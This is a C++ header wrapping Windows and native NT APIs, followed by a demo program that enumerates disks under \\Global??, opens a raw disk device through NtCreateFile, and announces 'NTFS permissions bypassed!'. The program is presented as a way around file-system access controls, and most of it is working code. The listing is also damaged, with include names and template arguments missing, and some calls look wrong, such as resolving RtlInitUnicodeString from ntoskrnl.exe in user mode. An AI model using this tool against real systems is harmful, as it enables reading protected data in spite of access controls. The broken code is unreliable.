#pragma once #include #include #include #include #include #include #include namespace winapi { #pragma region constants constexpr std::uint32_t max_path = MAX_PATH; #pragma endregion constants struct module_info { void* base_of_dll; std::uint32_t size_of_image; void* entrypoint; }; struct process_entry32 { std::uint32_t size; std::uint32_t usage_count; std::uint32_t process_id; std::uint64_t* default_heap_id; std::uint32_t module_info; std::uint32_t thread_count; std::uint32_t parent_process_id; long class_base; std::uint32_t flags; wchar_t file[winapi::max_path]; }; struct security_attributes { std::uint32_t length; void* security_descriptor; bool inherit_handle; }; class process { public: #pragma region constants static constexpr std::uint32_t terminate = PROCESS_TERMINATE; static constexpr std::uint32_t create_thread = PROCESS_CREATE_THREAD; static constexpr std::uint32_t set_sessionid = PROCESS_SET_SESSIONID; static constexpr std::uint32_t vm_operation = PROCESS_VM_OPERATION; static constexpr std::uint32_t vm_read = PROCESS_VM_READ; static constexpr std::uint32_t vm_write = PROCESS_VM_WRITE; static constexpr std::uint32_t dup_handle = PROCESS_DUP_HANDLE; static constexpr std::uint32_t create_process = PROCESS_CREATE_PROCESS; static constexpr std::uint32_t set_quota = PROCESS_SET_QUOTA; static constexpr std::uint32_t set_information = PROCESS_SET_INFORMATION; static constexpr std::uint32_t query_information = PROCESS_QUERY_INFORMATION; static constexpr std::uint32_t suspend_resume = PROCESS_SUSPEND_RESUME; static constexpr std::uint32_t query_limited_information = PROCESS_QUERY_LIMITED_INFORMATION; static constexpr std::uint32_t set_limited_information = PROCESS_SET_LIMITED_INFORMATION; static constexpr std::uint32_t all_access = PROCESS_ALL_ACCESS; static constexpr uint32_t snap_heap_list = TH32CS_SNAPHEAPLIST; static constexpr uint32_t snap_process = TH32CS_SNAPPROCESS; static constexpr uint32_t snap_thread = TH32CS_SNAPTHREAD; static constexpr uint32_t snap_module = TH32CS_SNAPMODULE; static constexpr uint32_t snap_module32 = TH32CS_SNAPMODULE32; static constexpr uint32_t snap_all = TH32CS_SNAPALL; static constexpr uint32_t inherit = TH32CS_INHERIT; #pragma endregion constants static inline void* open_process( std::uint32_t access, bool inherit_handle, std::uint32_t process_id) { return OpenProcess( access, inherit_handle, process_id); } static inline std::vector enum_processes() { DWORD processes[1024]; DWORD needed; if (EnumProcesses( processes, sizeof(processes), &needed)) { int size = sizeof(processes) / sizeof(processes[0]); return std::vector( processes, processes + size); } return std::vector(); } static inline std::wstring get_process_image_filename( void* process) { wchar_t file[MAX_PATH]; GetProcessImageFileNameW( process, file, sizeof(file) / sizeof(file[0])); return std::wstring(file); } static inline void* create_toolhelp32_snapshot( std::uint32_t flags, std::uint32_t process_id) { return CreateToolhelp32Snapshot(flags, process_id); } static inline bool process32_first( void* snapshot, winapi::process_entry32* entry) { return Process32FirstW( snapshot, reinterpret_cast(entry)); } static inline bool process32_next( void* snapshot, winapi::process_entry32* entry) { return Process32NextW( snapshot, reinterpret_cast(entry)); } static inline void sleep( std::uint32_t milliseconds) { Sleep(milliseconds); } }; class module { public: static inline std::wstring get_module_file_name_ex( void* process, void* module) { wchar_t name[MAX_PATH]; if (GetModuleFileNameExW( process, (HMODULE)module, name, sizeof(name) / sizeof(wchar_t))) { return std::wstring(name); } throw std::exception("GetModuleFileNameEx failed"); } static inline winapi::module_info get_module_information( void* process, void* module) { MODULEINFO info = {}; if (GetModuleInformation( process, (HMODULE)module, &info, sizeof(MODULEINFO))) { return module_info { info.lpBaseOfDll, info.SizeOfImage, info.EntryPoint }; } return module_info { nullptr, 0, nullptr }; } static inline std::wstring get_module_base_name( void* process, void* module) { wchar_t name[MAX_PATH] = L""; if (GetModuleBaseNameW( process, (HMODULE)module, name, sizeof(name) / sizeof(wchar_t))) { return std::wstring(name); } throw std::exception("GetModuleBaseName failed"); } static inline std::vector enum_process_modules( void* process) { HMODULE modules[1024]; DWORD needed; if (EnumProcessModules( process, modules, sizeof(modules), &needed)) { int size = sizeof(modules) / sizeof(modules[0]); return std::vector( modules, modules + size); } return std::vector(); } static inline void* get_proc_address( void* module, std::string name) { return GetProcAddress( (HMODULE)module, name.data()); } static inline void* get_module_handle( std::wstring module) { return GetModuleHandleW(module.data()); } static inline void* load_library( std::wstring module, std::uint32_t flags) { return LoadLibraryExW( module.data(), nullptr, flags); } }; class memory { public: #pragma region constants static constexpr std::uint32_t commit = MEM_COMMIT; static constexpr std::uint32_t reserve = MEM_RESERVE; static constexpr std::uint32_t reset = MEM_RESET; static constexpr std::uint32_t reset_undo = MEM_RESET_UNDO; static constexpr std::uint32_t large_pages = MEM_LARGE_PAGES; static constexpr std::uint32_t physical = MEM_PHYSICAL; static constexpr std::uint32_t top_down = MEM_TOP_DOWN; static constexpr std::uint32_t write_watch = MEM_WRITE_WATCH; static constexpr std::uint32_t release = MEM_RELEASE; static constexpr std::uint32_t execute = PAGE_EXECUTE; static constexpr std::uint32_t execute_read = PAGE_EXECUTE_READ; static constexpr std::uint32_t execute_read_write = PAGE_EXECUTE_READWRITE; static constexpr std::uint32_t execute_write_copy = PAGE_EXECUTE_WRITECOPY; static constexpr std::uint32_t read_write = PAGE_READWRITE; static constexpr std::uint32_t targets_invalid = PAGE_TARGETS_INVALID; static constexpr std::uint32_t targets_no_update = PAGE_TARGETS_NO_UPDATE; static constexpr std::uint32_t guard = PAGE_GUARD; static constexpr std::uint32_t no_cache = PAGE_NOCACHE; static constexpr std::uint32_t write_combine = PAGE_WRITECOMBINE; #pragma endregion constants static inline std::vector read_process_memory( void* process, void* address, std::size_t size) { uint8_t* buffer = (uint8_t*)malloc(size); SIZE_T read; if (ReadProcessMemory( process, address, buffer, size, &read)) { std::vector memory(buffer, buffer + read); free(buffer); return memory; } return std::vector(); } static inline bool write_process_memory( void* process, int address, std::vector data) { SIZE_T written; return WriteProcessMemory( process, (void*)address, std::data(data), data.size(), &written); } static inline void* virtual_alloc( void* address, std::size_t size, std::uint32_t allocation_type, std::uint32_t protection ) { return VirtualAlloc( address, size, allocation_type, protection); } static inline bool virtual_free( void* address, std::size_t size, std::uint32_t free_type) { return VirtualFree( address, size, free_type); } }; class handle { public: static inline void close_handle( void* handle) { CloseHandle(handle); } static inline uint32_t wait_for_single_object( void* handle, uint32_t milliseconds) { return WaitForSingleObject( handle, milliseconds); } }; class event { public: static inline void* open_event( uint32_t access, bool inherit_handle, std::wstring name) { return OpenEventW( access, inherit_handle, name.data()); } static inline void* create_event( winapi::security_attributes* attributes, bool manual_reset, bool initial_state, std::wstring name) { return CreateEventW( reinterpret_cast(attributes), manual_reset, initial_state, name.data()); } static inline bool set_event( void* event_handle) { return SetEvent(event_handle); } }; class file { public: static constexpr std::uint32_t generic_read = GENERIC_READ; static inline void* open_file_mapping( std::uint32_t access, bool inherit_handle, std::wstring name) { return OpenFileMappingW( access, inherit_handle, name.data()); } static inline void* create_file_mapping( void* file, winapi::security_attributes* attributes, std::uint32_t protect, std::uint32_t max_size_high, std::uint32_t max_size_low, std::wstring name) { return CreateFileMappingW( file, reinterpret_cast(attributes), protect, max_size_high, max_size_low, name.data()); } static inline void* map_view_of_file( void* file, std::uint32_t access, std::uint32_t offset_high, std::uint32_t offset_low, std::size_t size) { return MapViewOfFile( file, access, offset_high, offset_low, size); } static inline bool unmap_view_of_file( void* file) { return UnmapViewOfFile(file); } static inline void* create_file( std::wstring file, std::uint32_t access, std::uint32_t shared, winapi::security_attributes* security_attributes, std::uint32_t creation_disposition, std::uint32_t attributes, void* template_file) { return CreateFileW( file.data(), access, shared, reinterpret_cast(security_attributes), creation_disposition, attributes, template_file ); } }; } namespace nt { struct unicode_string { wchar_t* buffer; unsigned short length; unsigned short max_length; /* unicode_string() {} unicode_string(const std::wstring& string) { buffer = const_cast(string.data()); max_length = string.length() * sizeof(wchar_t); length = max_length - sizeof(wchar_t); } */ }; struct object_directory_information { UNICODE_STRING object_name; UNICODE_STRING type_name; std::wstring name() { return std::wstring(object_name.Buffer); } std::wstring type() { return std::wstring(type_name.Buffer); } }; struct system_process_information { unsigned long next_entry_offset; unsigned long number_of_threads; std::uint64_t reserved[3]; std::uint64_t create_time; std::uint64_t user_time; std::uint64_t kernel_time; nt::unicode_string image_name; unsigned long base_priority; void* process_id; void* inherited_from_process_id; }; enum system_information_class { base_information = 0, performance_information = 2, time_of_day_information = 3, process_information = 5, processor_performance_information = 8, interrupt_information = 23, exception_information = 33, registry_quota_information = 37, lookaside_information = 45 }; class detail { friend class system; friend class object; friend class string; friend class directory; friend class symlink; friend class file; private: static inline std::unordered_map m_functions = {}; protected: template static T resolve_function(std::string name, std::wstring module = L"ntdll") { if (m_functions.find(name) == m_functions.end()) { auto handle = winapi::module::get_module_handle(module); if (!handle) { handle = winapi::module::load_library( module, DONT_RESOLVE_DLL_REFERENCES); } auto proc = winapi::module::get_proc_address(handle, name); m_functions.emplace(name, proc); } return (T)m_functions.at(name); } }; class system { public: template static inline std::list query_system_information() { auto NtQuerySystemInformation = nt::detail::resolve_function( "NtQuerySystemInformation"); if (std::is_same< T, nt::system_process_information>::value) { unsigned long length = 0; NtQuerySystemInformation( nt::system_information_class::process_information, nullptr, length, &length); auto buffer = reinterpret_cast( winapi::memory::virtual_alloc( nullptr, length, winapi::memory::commit, winapi::memory::read_write)); NtQuerySystemInformation( nt::system_information_class::process_information, buffer, length, &length); auto proc_info = buffer; std::list entries; do { entries.push_back(proc_info); auto offset = proc_info->next_entry_offset; auto next = reinterpret_cast(proc_info) + offset; proc_info = reinterpret_cast( next); } while (proc_info->next_entry_offset != 0); winapi::memory::virtual_free( buffer, length, winapi::memory::release); return entries; } return {}; } private: using nt_query_system_information_t = NTSTATUS(NTAPI*)( nt::system_information_class, void*, unsigned long, unsigned long*); }; class string { public: static inline nt::unicode_string init_unicode_string(const std::wstring& string) { auto RtlInitUnicodeString = nt::detail::resolve_function( "RtlInitUnicodeString", L"ntoskrnl.exe"); nt::unicode_string unicode_string; RtlInitUnicodeString(&unicode_string, (wchar_t*)string.data()); return unicode_string; } private: using nt_rtl_init_unicode_string = NTSTATUS(NTAPI*)( nt::unicode_string*, wchar_t*); }; class object { public: static constexpr std::uint32_t inherit = OBJ_INHERIT; static constexpr std::uint32_t permanent = OBJ_PERMANENT; static constexpr std::uint32_t exclusive = OBJ_EXCLUSIVE; static constexpr std::uint32_t case_insensitive = OBJ_CASE_INSENSITIVE; static constexpr std::uint32_t openif = OBJ_OPENIF; static constexpr std::uint32_t kernel_handle = OBJ_KERNEL_HANDLE; static constexpr std::uint32_t force_access_check = OBJ_FORCE_ACCESS_CHECK; static inline OBJECT_ATTRIBUTES initialize_attributes( nt::unicode_string* name, unsigned long flags, void* root_handle/*, security descriptor*/) { OBJECT_ATTRIBUTES attributes; InitializeObjectAttributes( &attributes, (UNICODE_STRING*)name, flags, root_handle, nullptr); return attributes; } }; class symlink { public: static constexpr std::uint32_t link_query = 0x0001; // this can be easily templated for directory and symlink static inline void* open( std::uint32_t access, POBJECT_ATTRIBUTES attributes) { auto NtOpenSymbolicLinkObject = nt::detail::resolve_function( "NtOpenSymbolicLinkObject"); void* handle; auto status = NtOpenSymbolicLinkObject( &handle, access, attributes); return handle; } static inline std::wstring query( void* link) { auto NtQuerySymbolicLinkObject = nt::detail::resolve_function( "NtQuerySymbolicLinkObject"); UNICODE_STRING target; target.Length = 0; target.MaximumLength = winapi::max_path; target.Buffer = reinterpret_cast(malloc(winapi::max_path)); auto status = NtQuerySymbolicLinkObject( link, &target, nullptr); target.Buffer[target.Length / 2] = 0; return std::wstring(target.Buffer); } private: using nt_open_symbolic_link_object = NTSTATUS(NTAPI*)( void*, std::uint32_t, POBJECT_ATTRIBUTES); using nt_query_symbolic_link_object = NTSTATUS(NTAPI*)( void*, PUNICODE_STRING, std::uint32_t*); }; class directory { public: static constexpr std::uint32_t dir_query = 0x1; // DIRECTORY_QUERY static inline void* open( std::uint32_t access, POBJECT_ATTRIBUTES attributes) { auto NtOpenDirectoryObject = nt::detail::resolve_function( "NtOpenDirectoryObject"); void* handle; NtOpenDirectoryObject( &handle, access, attributes); return handle; } static inline std::unordered_map query( void* directory) { auto NtQueryDirectoryObject = nt::detail::resolve_function( "NtQueryDirectoryObject"); std::unordered_map< std::uint64_t, nt::object_directory_information* > objects; std::uint32_t index = 0; std::uint32_t ret_size = 0; bool end = false; do { auto size = 1; auto buffer = reinterpret_cast( winapi::memory::virtual_alloc( nullptr, size, winapi::memory::commit, winapi::memory::read_write)); NtQueryDirectoryObject( directory, buffer, size, true, false, &index, &ret_size); winapi::memory::virtual_free(buffer, size, winapi::memory::release); size = ret_size; buffer = reinterpret_cast( winapi::memory::virtual_alloc( nullptr, size, winapi::memory::commit, winapi::memory::read_write)); NtQueryDirectoryObject( directory, buffer, size, true, false, &index, &ret_size); end = buffer->object_name.Buffer == nullptr; objects.emplace(index, buffer); winapi::memory::virtual_free(buffer, size, winapi::memory::release); } while (!end); return objects; } private: using nt_open_directory_object = NTSTATUS(NTAPI*)( void*, std::uint32_t, POBJECT_ATTRIBUTES); using nt_query_directory_object = NTSTATUS(NTAPI*)( void* directory, void* buffer, std::uint32_t length, bool return_single_entry, bool restart_scan, std::uint32_t* context, std::uint32_t* return_length); }; class file { public: static constexpr std::uint32_t attribute_normal = FILE_ATTRIBUTE_NORMAL; static constexpr std::uint32_t file_open_if = FILE_OPEN_IF; static constexpr std::uint32_t file_open = FILE_OPEN; static inline void* open( const std::wstring& file, std::uint32_t access, POBJECT_ATTRIBUTES object_attributes, std::uint32_t file_attributes, std::uint32_t share_access, std::uint32_t disposition) { auto NtCreateFile = nt::detail::resolve_function( "NtCreateFile"); void* handle; IO_STATUS_BLOCK io_status; memset(&io_status, 0, sizeof(io_status)); auto status = NtCreateFile( &handle, access, object_attributes, &io_status, nullptr, file_attributes, share_access, disposition, 0, nullptr, 0); if (status != 0) { handle = nullptr; } return handle; } private: using nt_create_file = NTSTATUS(NTAPI*)( void*, std::uint32_t, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, PLARGE_INTEGER, std::uint32_t, std::uint32_t, std::uint32_t, std::uint32_t, void*, std::uint32_t); }; } ------------------------ #include #include "wrapper.hpp" int main() { const std::wstring global = L"\\Global??"; auto directory = nt::string::init_unicode_string(global); auto attributes = nt::object::initialize_attributes( &directory, nt::object::case_insensitive, nullptr); auto handle = nt::directory::open( nt::directory::dir_query, &attributes); std::cout << "\\Global?? = " << handle << std::endl; auto objects = nt::directory::query(handle); for (auto& [ index, object ] : objects) { if (object->name().find(L"SCSI#") != std::string::npos) { std::wcout << "[" << index << "] " << object->name() << std::endl; } } std::cout << "Pick a disk: "; int index = -1; std::cin >> index; auto disk_name = objects.find(index)->second->name(); disk_name = std::wstring(L"\\Global??\\").append(disk_name); auto disk_name_unicode = nt::string::init_unicode_string(disk_name); attributes = nt::object::initialize_attributes( &disk_name_unicode, nt::object::case_insensitive, nullptr); auto disk = nt::symlink::open( nt::symlink::link_query, &attributes); const auto device = nt::symlink::query(disk); std::wcout << "Device path: " << device << std::endl; auto device_unicode = nt::string::init_unicode_string(device); attributes = nt::object::initialize_attributes( &device_unicode, nt::object::case_insensitive, nullptr); handle = nt::file::open( device, winapi::file::generic_read, &attributes, nt::file::attribute_normal, 0, nt::file::file_open); std::wcout << device << " = " << handle << std::endl; if (handle) { std::cout << "NTFS permissions bypassed!" << std::endl; } else { std::cout << "Failed bypassing NTFS permissions!" << std::endl; } std::cin.ignore(); std::cin.get(); return 0; }